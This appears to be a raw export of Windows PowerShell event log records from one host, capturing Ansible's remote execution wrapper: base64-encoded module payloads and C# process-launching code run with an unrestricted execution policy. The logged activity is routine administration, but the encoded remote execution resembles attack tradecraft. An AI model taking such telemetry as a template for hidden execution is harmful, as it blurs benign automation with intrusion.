ZWZhaWxtZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAkZW1wdHlhdHRyaWJ1dGVmYWlsbWVzc2FnZSA9ICJHZXQtQW5zaWJsZVBhcmFtOiBNaXNzaW5nIHJlcXVpcmVkIGFyZ3VtZW50OiAkbmFtZSIKICAgICAgICAgICAgfQogICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICRlbXB0eWF0dHJpYnV0ZWZhaWxtZ
ScriptBlock ID: 5ddea997-1be1-49b3-a726-8d6c2784ecab
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2011 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4248 | 4092 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:59 AM | 61e00a24-ee3b-0003-8e0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 4):
begin {
$DebugPreference = "Continue"
$ErrorActionPreference = "Stop"
Set-StrictMode -Version 2
function ConvertTo-HashtableFromPsCustomObject ($myPsObject){
$output = @{};
$myPsObject | Get-Member -MemberType *Property | % {
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
return $output;
}
# stream JSON including become_pw, ps_module_payload, bin_module_payload, become_payload, write_payload_path, preserve directives
# exec runspace, capture output, cleanup, return module output
# NB: do not adjust the following line- it is replaced when doing non-streamed module output
$json_raw = @'
{"min_ps_version": null, "exec": "CkZ1bmN0aW9uIFJ1bigkcGF5bG9hZCkgewogICAgJGVudHJ5cG9pbnQgPSAkcGF5bG9hZC5tb2R1bGVfZW50cnkKCiAgICAkZW50cnlwb2ludCA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGVudHJ5cG9pbnQpKQoKICAgICRwcyA9IFtwb3dlcnNoZWxsXTo6Q3JlYXRlKCkKCiAgICAkcHMuQWRkU3RhdGVtZW50KCkuQWRkQ29tbWFuZCgiU2V0LVZhcmlhYmxlIikuQWRkUGFyYW1ldGVycyhAe1Njb3BlPSJnbG9iYWwiO05hbWU9ImNvbXBsZXhfYXJncyI7Vm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KCRlbnRyeXBvaW50KSB8IE91dC1OdWxsCgogICAgJG91dHB1dCA9ICRwcy5JbnZva2UoKQoKICAgICRvdXRwdXQKCiAgICAjIFBTMyBkb2Vzbid0IHByb3Blcmx5IHNldCBIYWRFcnJvcnMgaW4gbWFueSBjYXNlcywgaW5zcGVjdCB0aGUgZXJyb3Igc3RyZWFtIGFzIGEgZmFsbGJhY2sKICAgIElmICgkcHMuSGFkRXJyb3JzIC1vciAoJFBTVmVyc2lvblRhYmxlLlBTVmVyc2lvbi5NYWpvciAtbHQgNCAtYW5kICRwcy5TdHJlYW1zLkVycm9yLkNvdW50IC1ndCAwKSkgewogICAgICAgICRob3N0LlVJLldyaXRlRXJyb3JMaW5lKCQoJHBzLlN0cmVhbXMuRXJyb3IgfCBPdXQtU3RyaW5nKSkKICAgICAgICAkZXhpdF9jb2RlID0gJHBzLlJ1bnNwYWNlLlNlc3Npb25TdGF0ZVByb3h5LkdldFZhcmlhYmxlKCJMQVNURVhJVENPREUiKQogICAgICAgIElmKC1ub3QgJGV4aXRfY29kZSkgewogICAgICAgICAgICAkZXhpdF9jb2RlID0gMQogICAgICAgIH0KICAgICAgICAjIG5lZWQgdG8gdXNlIHRoaXMgaW5zdGVhZCBvZiBFeGl0IGtleXdvcmQgdG8gcHJldmVudCBydW5zcGFjZSBmcm9tIGNyYXNoaW5nIHdpdGggZHluYW1pYyBtb2R1bGVzCiAgICAgICAgJGhvc3QuU2V0U2hvdWxkRXhpdCgkZXhpdF9jb2RlKQogICAgfQp9Cg==", "actions": ["exec"], "environment": {}, "min_os_version": null, "powershell_modules": {"Ansible.ModuleUtils.CommandUtil": "IyBDb3B5cmlnaHQgKGMpIDIwMTcgQW5zaWJsZSBQcm9qZWN0CiMgU2ltcGxpZmllZCBCU0QgTGljZW5zZSAoc2VlIGxpY2Vuc2VzL3NpbXBsaWZpZWRfYnNkLnR4dCBvciBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL0JTRC0yLUNsYXVz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BJbnQzMiBkd1lTaXplOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1hDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd1lDb3VudENoYXJzOwogICAgICAgIHB1YmxpYyBJbnQzMiBkd0ZpbGxBdHRyaWJ1dGU7CiAgICAgICAgcHVibGljIEludDMyIGR3RmxhZ3M7CiAgICAgICAgcHVibGljIEludDE2IHdTaG93V2luZG93OwogICAgICAgIHB1YmxpYyBJbnQxNiBjYlJlc2VydmVkMjsKICAgICAgICBwdWJsaWMgSW50UHRyIGxwUmVzZXJ2ZWQyOwogICAgICAgIHB1YmxpYyBTYWZlRmlsZUhhbmRsZSBoU3RkSW5wdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRPdXRwdXQ7CiAgICAgICAgcHVibGljIFNhZmVGaWxlSGFuZGxlIGhTdGRFcnJvcjsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8oKQogICAgICAgIHsKICAgICAgICAgICAgY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIGNsYXNzIFNUQVJUVVBJTkZPRVgKICAgIHsKICAgICAgICBwdWJsaWMgU1RBUlRVUElORk8gc3RhcnR1cEluZm87CiAgICAgICAgcHVibGljIEludFB0ciBscEF0dHJpYnV0ZUxpc3Q7CiAgICAgICAgcHVibGljIFNUQVJUVVBJTkZPRVgoKQogICAgICAgIHsKICAgICAgICAgICAgc3RhcnR1cEluZm8gPSBuZXcgU1RBUlRVUElORk8oKTsKICAgICAgICAgICAgc3RhcnR1cEluZm8uY2IgPSBNYXJzaGFsLlNpemVPZih0aGlzKTsKICAgICAgICB9CiAgICB9CgogICAgW1N0cnVjdExheW91dChMYXlvdXRLaW5kLlNlcXVlbnRpYWwpXQogICAgcHVibGljIHN0cnVjdCBQUk9DRVNTX0lORk9STUFUSU9OCiAgICB7CiAgICAgICAgcHVibGljIEludFB0ciBoUHJvY2VzczsKICAgICAgICBwdWJsaWMgSW50UHRyIGhUaHJlYWQ7CiAgICAgICAgcHVibGljIGludCBkd1Byb2Nlc3NJZDsKICAgICAgICBwdWJsaWMgaW50IGR3VGhyZWFkSWQ7CiAgICB9CgogICAgW0ZsYWdzXQogICAgcHVibGljIGVudW0gU3RhcnR1cEluZm9GbGFncyA6IHVpbnQKICAgIHsKICAgICAgICBVU0VTVERIQU5ETEVTID0gMHgwMDAwMDEwMAogICAgfQoKICAgIHB1YmxpYyBlbnVtIEhhbmRsZUZsYWdzIDogdWludAogICAgewogICAgICAgIE5vbmUgPSAwLAogICAgICAgIElOSEVSSVQgPSAxCiAgICB9CgogICAgY2xhc3MgTmF0aXZlV2FpdEhhbmRsZSA6IFdhaXRIYW5kbGUKICAgIHsKICAgICAgICBwdWJsaWMgTmF0aXZlV2FpdEhhbmRsZShJbnRQdHIgaGFuZGxlKQogICAgICAgIHsKICAgICAgICAgICAgdGhpcy5TYWZlV2FpdEhhbmRsZSA9IG5ldyBTYWZlV2FpdEhhbmRsZShoYW5kbGUsIGZhbHNlKTsKICAgICAgICB9CiAgICB9CgogICAgcHVibGljIGNsYXNzIFdpbjMyRXhjZXB0aW9uIDogU3lzdGVtLkNvbXBvbmVudE1vZGVsLldpbjMyRXhjZXB0aW9uCiAgICB7CiAgICAgICAgcHJpdmF0ZSBzdHJpbmcgX21zZzsKCiAgICAgICAgcHVibGljIFdpbjMyRXhjZXB0aW9uKHN0cmluZyBtZXNzYWdlKSA6IHRoaXMoTWFyc2hhbC5HZXRMYXN0V2luMzJFcnJvcigpLCBtZXNzYWdlKSB7IH0KCiAgICAgICAgcHVibGljIFdpbjMyRXhjZXB0aW9uKGludCBlcnJvckNvZGUsIHN0cmluZyBtZXNzYWdlKSA6IGJhc2UoZXJyb3JDb2RlKQogICAgICAgIHsKICAgICAgICAgICAgX21zZyA9IFN0cmluZy5G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oZXJpdEhhbmRsZXMsCiAgICAgICAgICAgIHVpbnQgZHdDcmVhdGlvbkZsYWdzLAogICAgICAgICAgICBJbnRQdHIgbHBFbnZpcm9ubWVudCwKICAgICAgICAgICAgW01hcnNoYWxBcyhVbm1hbmFnZWRUeXBlLkxQV1N0cildCiAgICAgICAgICAgICAgICBzdHJpbmcgbHBDdXJyZW50RGlyZWN0b3J5LAogICAgICAgICAgICBTVEFSVFVQSU5GT0VYIGxwU3RhcnR1cEluZm8sCiAgICAgICAgICAgIG91dCBQUk9DRVNTX0lORk9STUFUSU9OIGxwUHJvY2Vzc0luZm9ybWF0aW9uKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIildCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBDcmVhdGVQaXBlKAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFJlYWRQaXBlLAogICAgICAgICAgICBvdXQgU2FmZUZpbGVIYW5kbGUgaFdyaXRlUGlwZSwKICAgICAgICAgICAgU0VDVVJJVFlfQVRUUklCVVRFUyBscFBpcGVBdHRyaWJ1dGVzLAogICAgICAgICAgICB1aW50IG5TaXplKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gYm9vbCBTZXRIYW5kbGVJbmZvcm1hdGlvbigKICAgICAgICAgICAgU2FmZUZpbGVIYW5kbGUgaE9iamVjdCwKICAgICAgICAgICAgSGFuZGxlRmxhZ3MgZHdNYXNrLAogICAgICAgICAgICBpbnQgZHdGbGFncyk7CgogICAgICAgIFtEbGxJbXBvcnQoImtlcm5lbDMyLmRsbCIsIFNldExhc3RFcnJvciA9IHRydWUpXQogICAgICAgIHByaXZhdGUgc3RhdGljIGV4dGVybiBib29sIEdldEV4aXRDb2RlUHJvY2VzcygKICAgICAgICAgICAgSW50UHRyIGhQcm9jZXNzLAogICAgICAgICAgICBvdXQgdWludCBscEV4aXRDb2RlKTsKCiAgICAgICAgW0RsbEltcG9ydCgia2VybmVsMzIuZGxsIiwgU2V0TGFzdEVycm9yID0gdHJ1ZSwgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldCiAgICAgICAgcHVibGljIHN0YXRpYyBleHRlcm4gdWludCBTZWFyY2hQYXRoKAogICAgICAgICAgICBzdHJpbmcgbHBQYXRoLAogICAgICAgICAgICBzdHJpbmcgbHBGaWxlTmFtZSwKICAgICAgICAgICAgc3RyaW5nIGxwRXh0ZW5zaW9uLAogICAgICAgICAgICBpbnQgbkJ1ZmZlckxlbmd0aCwKICAgICAgICAgICAgW01hcnNoYWxBcyAoVW5tYW5hZ2VkVHlwZS5MUFRTdHIpXQogICAgICAgICAgICAgICAgU3RyaW5nQnVpbGRlciBscEJ1ZmZlciwKICAgICAgICAgICAgb3V0IEludFB0ciBscEZpbGVQYXJ0KTsKCiAgICAgICAgW0RsbEltcG9ydCgic2hlbGwzMi5kbGwiLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgICAgICBzdGF0aWMgZXh0ZXJuIEludFB0ciBDb21tYW5kTGluZVRvQXJndlcoCiAgICAgICAgICAgIFtNYXJzaGFsQXMoVW5tYW5hZ2VkVHlwZS5MUFdTdHIpXQogICAgICAgICAgICAgICAgc3RyaW5nIGxwQ21kTGluZSwKICAgICAgICAgICAgb3V0IGludCBwTnVtQXJncyk7CgogICAgICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nW10gUGFyc2VDb21tYW5kTGluZShzdHJpbmcgbHBDb21tYW5kTGluZSkKICAgICAgICB7CiAgICAgICAgICAgIGludCBudW1BcmdzOwogICAgICAgICAgICBJbnRQdHIgcmV0ID0gQ29tbWFuZExpbmVUb0FyZ3ZXKGxwQ29tbWFuZExpbmUsIG91dCBudW1BcmdzKTsKCiAgICAgICAgICAgIGlmIChyZXQgPT0gSW50UHRyLlplcm8pCiAgICAgIC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bnRTdHJpbmcgPSBudWxsOwoKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50ICE9IG51bGwgJiYgZW52aXJvbm1lbnQuQ291bnQgPiAwKQogICAgICAgICAgICB7CiAgICAgICAgICAgICAgICBlbnZpcm9ubWVudFN0cmluZyA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChEaWN0aW9uYXJ5RW50cnkga3YgaW4gZW52aXJvbm1lbnQpCiAgICAgICAgICAgICAgICAgICAgZW52aXJvbm1lbnRTdHJpbmcuQXBwZW5kRm9ybWF0KCJ7MH09ezF9XDAiLCBrdi5LZXksIGt2LlZhbHVlKTsKICAgICAgICAgICAgICAgIGVudmlyb25tZW50U3RyaW5nLkFwcGVuZCgnXDAnKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgLy8gQ3JlYXRlIHRoZSBlbnZpcm9ubWVudCBibG9jayBpZiBzZXQKICAgICAgICAgICAgSW50UHRyIGxwRW52aXJvbm1lbnQgPSBJbnRQdHIuWmVybzsKICAgICAgICAgICAgaWYgKGVudmlyb25tZW50U3RyaW5nICE9IG51bGwpCiAgICAgICAgICAgICAgICBscEVudmlyb25tZW50ID0gTWFyc2hhbC5TdHJpbmdUb0hHbG9iYWxVbmk
ScriptBlock ID: 5ddea997-1be1-49b3-a726-8d6c2784ecab
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2010 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4248 | 4092 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:59 AM | 61e00a24-ee3b-0003-8e0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2009 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4248 | 4244 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:59 AM | 61e00a24-ee3b-0003-8c0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4248 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2008 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4248 | 2024 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:59 AM | 61e00a24-ee3b-0003-8c0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2007 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4248 | 4244 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:59 AM | 61e00a24-ee3b-0003-8c0a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is ready for user input | 40962 | 1 | | 4 | 4 | 2 | 0 | 2006 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 4932 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:55 AM | 61e00a24-ee3b-0003-870a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Stop | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Windows PowerShell has started an IPC listening thread on process: 4928 in AppDomain: DefaultAppDomain. | 53504 | 1 | | 4 | 111 | 10 | 0 | 2005 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 5004 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:55 AM | 61e00a24-ee3b-0003-870a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Open (async) | PowerShell Named Pipe IPC | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
PowerShell console is starting up | 40961 | 1 | | 4 | 4 | 1 | 0 | 2004 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4928 | 4932 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:55 AM | 61e00a24-ee3b-0003-870a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | Start | PowerShell Console Startup | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
CommandInvocation(Add-Type): "Add-Type"
ParameterBinding(Add-Type): name="TypeDefinition"; value="using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public SafeFileHandle hStdInput;
public SafeFileHandle hStdOutput;
public SafeFileHandle hStdError;
public STARTUPINFO()
{
cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFOEX
{
public STARTUPINFO startupInfo;
public IntPtr lpAttributeList;
public STARTUPINFOEX()
{
startupInfo = new STARTUPINFO();
startupInfo.cb = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[Flags]
public enum StartupInfoFlags : uint
{
USESTDHANDLES = 0x00000100
}
public enum HandleFlags : uint
{
None = 0,
INHERIT = 1
}
class NativeWaitHandle : WaitHandle
{
public NativeWaitHandle(IntPtr handle)
{
this.SafeWaitHandle = new SafeWaitHandle(handle, false);
}
}
public class Win32Exception : System.ComponentModel.Win32Exception
{
private string _msg;
public Win32Exception(string message) : this(Marshal.GetLastWin32Error(), message) { }
public Win32Exception(int errorCode, string message) : base(errorCode)
{
_msg = String.Format("{0} ({1}, Win32ErrorCode {2})", message, base.Message, errorCode);
}
public override string Message { get { return _msg; } }
public static explicit operator Win32Exception(string message) { return new Win32Exception(message); }
}
public class CommandUtil
{
private static UInt32 CREATE_UNICODE_ENVIRONMENT = 0x000000400;
private static UInt32 EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode, BestFitMapping = false)]
public static extern bool CreateProcess(
[MarshalAs(UnmanagedType.LPWStr)]
string lpApplicationName,
StringBuilder lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
[MarshalAs(UnmanagedType.LPWStr)]
string lpCurrentDirectory,
STARTUPINFOEX lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll")]
public static extern bool CreatePipe(
out SafeFileHandle hReadPipe,
out SafeFileHandle hWritePipe,
SECURITY_ATTRIBUTES lpPipeAttributes,
uint nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(
SafeFileHandle hObject,
HandleFlags dwMask,
int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool GetExitCodeProcess(
IntPtr hProcess,
out uint lpExitCode);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern uint SearchPath(
string lpPath,
string lpFileName,
string lpExtension,
int nBufferLength,
[MarshalAs (UnmanagedType.LPTStr)]
StringBuilder lpBuffer,
out IntPtr lpFilePart);
[DllImport("shell32.dll", SetLastError = true)]
static extern IntPtr CommandLineToArgvW(
[MarshalAs(UnmanagedType.LPWStr)]
string lpCmdLine,
out int pNumArgs);
public static string[] ParseCommandLine(string lpCommandLine)
{
int numArgs;
IntPtr ret = CommandLineToArgvW(lpCommandLine, out numArgs);
if (ret == IntPtr.Zero)
throw new Win32Exception("Error parsing command line");
IntPtr[] strptrs = new IntPtr[numArgs];
Marshal.Copy(ret, strptrs, 0, numArgs);
string[] cmdlineParts = strptrs.Select(s => Marshal.PtrToStringUni(s)).ToArray();
Marshal.FreeHGlobal(ret);
return cmdlineParts;
}
public static string SearchPath(string lpFileName)
{
StringBuilder sbOut = new StringBuilder(1024);
IntPtr filePartOut;
if (SearchPath(null, lpFileName, null, sbOut.Capacity, sbOut, out filePartOut) == 0)
throw new FileNotFoundException(String.Format("Could not locate the following executable {0}", lpFileName));
return sbOut.ToString();
}
public class CommandResult
{
public string StandardOut { get; internal set; }
public string StandardError { get; internal set; }
public uint ExitCode { get; internal set; }
}
public static CommandResult RunCommand(string lpApplicationName, string lpCommandLine, string lpCurrentDirectory, string stdinInput, IDictionary environment)
{
UInt32 startup_flags = CREATE_UNICODE_ENVIRONMENT | EXTENDED_STARTUPINFO_PRESENT;
STARTUPINFOEX si = new STARTUPINFOEX();
si.startupInfo.dwFlags = (int)StartupInfoFlags.USESTDHANDLES;
SECURITY_ATTRIBUTES pipesec = new SECURITY_ATTRIBUTES();
pipesec.bInheritHandle = true;
// Create the stdout, stderr and stdin pipes used in the process and add to the startupInfo
SafeFileHandle stdout_read, stdout_write, stderr_read, stderr_write, stdin_read, stdin_write;
if (!CreatePipe(out stdout_read, out stdout_write, pipesec, 0))
throw new Win32Exception("STDOUT pipe setup failed");
if (!SetHandleInformation(stdout_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDOUT pipe handle setup failed");
if (!CreatePipe(out stderr_read, out stderr_write, pipesec, 0))
throw new Win32Exception("STDERR pipe setup failed");
if (!SetHandleInformation(stderr_read, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDERR pipe handle setup failed");
if (!CreatePipe(out stdin_read, out stdin_write, pipesec, 0))
throw new Win32Exception("STDIN pipe setup failed");
if (!SetHandleInformation(stdin_write, HandleFlags.INHERIT, 0))
throw new Win32Exception("STDIN pipe handle setup failed");
si.startupInfo.hStdOutput = stdout_write;
si.startupInfo.hStdError = stderr_write;
si.startupInfo.hStdInput = stdin_read;
// Setup the stdin buffer
UTF8Encoding utf8_encoding = new UTF8Encoding(false);
FileStream stdin_fs = new FileStream(stdin_write, FileAccess.Write, 32768);
StreamWriter stdin = new StreamWriter(stdin_fs, utf8_encoding, 32768);
// If lpCurrentDirectory is set to null in PS it will be an empty
// string here, we need to convert it
if (lpCurrentDirectory == "")
lpCurrentDirectory = null;
StringBuilder environmentString = null;
if (environment != null && environment.Count > 0)
{
environmentString = new StringBuilder();
foreach (DictionaryEntry kv in environment)
environmentString.AppendFormat("{0}={1}\0", kv.Key, kv.Value);
environmentString.Append('\0');
}
// Create the environment block if set
IntPtr lpEnvironment = IntPtr.Zero;
if (environmentString != null)
lpEnvironment = Marshal.StringToHGlobalUni(environmentString.ToString());
// Create new process and run
StringBuilder argument_string = new StringBuilder(lpCommandLine);
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!CreateProcess(
lpApplicationName,
argument_string,
IntPtr.Zero,
IntPtr.Zero,
true,
startup_flags,
lpEnvironment,
lpCurrentDirectory,
si,
out pi))
{
throw new Win32Exception("Failed to create new process");
}
// Setup the output buffers and get stdout/stderr
FileStream stdout_fs = new FileStream(stdout_read, FileAccess.Read, 4096);
StreamReader stdout = new StreamReader(stdout_fs, utf8_encoding, true, 4096);
stdout_write.Close();
FileStream stderr_fs = new FileStream(stderr_read, FileAccess.Read, 4096);
StreamReader stderr = new StreamReader(stderr_fs, utf8_encoding, true, 4096);
stderr_write.Close();
stdin.WriteLine(stdinInput);
stdin.Close();
string stdout_str, stderr_str = null;
GetProcessOutput(stdout, stderr, out stdout_str, out stderr_str);
uint rc = GetProcessExitCode(pi.hProcess);
return new CommandResult
{
StandardOut = stdout_str,
StandardError = stderr_str,
ExitCode = rc
};
}
private static void GetProcessOutput(StreamReader stdoutStream, StreamReader stderrStream, out string stdout, out string stderr)
{
var sowait = new EventWaitHandle(false, EventResetMode.ManualReset);
var sewait = new EventWaitHandle(false, EventResetMode.ManualReset);
string so = null, se = null;
ThreadPool.QueueUserWorkItem((s) =>
{
so = stdoutStream.ReadToEnd();
sowait.Set();
});
ThreadPool.QueueUserWorkItem((s) =>
{
se = stderrStream.ReadToEnd();
sewait.Set();
});
foreach (var wh in new WaitHandle[] { sowait, sewait })
wh.WaitOne();
stdout = so;
stderr = se;
}
private static uint GetProcessExitCode(IntPtr processHandle)
{
new NativeWaitHandle(processHandle).WaitOne();
uint exitCode;
if (!GetExitCodeProcess(processHandle, out exitCode))
throw new Win32Exception("Error getting process exit code");
return exitCode;
}
}
}"
Context:
Severity = Informational
Host Name = Default Host
Host Version = 5.1.14393.1944
Host ID = f4be2a68-4ebe-4db7-a7ae-1805979b72c9
Host Application = PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -
Engine Version = 5.1.14393.1944
Runspace ID = 2fca732a-6a3a-46b0-a1aa-76ce0c469b56
Pipeline ID = 7
Command Name = Add-Type
Command Type = Cmdlet
Script Name =
Command Path =
Sequence Number = 34
User = N-H1-758944-2\Admin
Connected User =
Shell ID = Microsoft.PowerShell
User Data:
| 4103 | 1 | | 4 | 106 | 20 | 0 | 2003 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4652 | 4856 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:55 AM | 61e00a24-ee3b-0004-960a-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Information | To be used when operation is just executing a method | Executing Pipeline | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
# Copyright (c) 2017 Ansible Project
# Simplified BSD License (see licenses/simplified_bsd.txt or https://opensource.org/licenses/BSD-2-Clause)
$process_util = @"
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
namespace Ansible
{
[StructLayout(LayoutKind.Sequential)]
public class SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public bool bInheritHandle = false;
public SECURITY_ATTRIBUTES()
{
nLength = Marshal.SizeOf(this);
}
}
[StructLayout(LayoutKind.Sequential)]
public class STARTUPINFO
{
public Int32 cb;
public IntPtr lpReserved;
